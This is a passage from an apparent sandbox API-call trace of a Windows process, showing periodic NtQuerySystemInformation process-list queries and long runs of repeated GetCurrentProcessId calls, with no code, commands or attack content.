ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.321] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.322] GetCurrentProcessId () returned 0xbf4 [0293.332] GetCurrentProcessId () returned 0xbf4 [0293.332] GetCurrentProcessId () returned 0xbf4 [0293.332] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.333] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.334] GetCurrentProcessId () returned 0xbf4 [0293.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.008] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.009] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.010] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.011] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.012] GetCurrentProcessId () returned 0xbf4 [0294.575] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0294.582] GetCurrentProcessId () returned 0xbf4 [0294.582] GetCurrentProcessId () returned 0xbf4 [0294.582] GetCurrentProcessId () returned 0xbf4 [0294.582] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.583] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.584] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0294.585] GetCurrentProcessId () returned 0xbf4 [0295.090] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.095] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.096] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.097] GetCurrentProcessId () returned 0xbf4 [0295.621] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.623] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.624] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.625] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.626] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0295.627] GetCurrentProcessId () returned 0xbf4 [0296.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.180] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 0xbf4 [0296.181] GetCurrentProcessId () returned 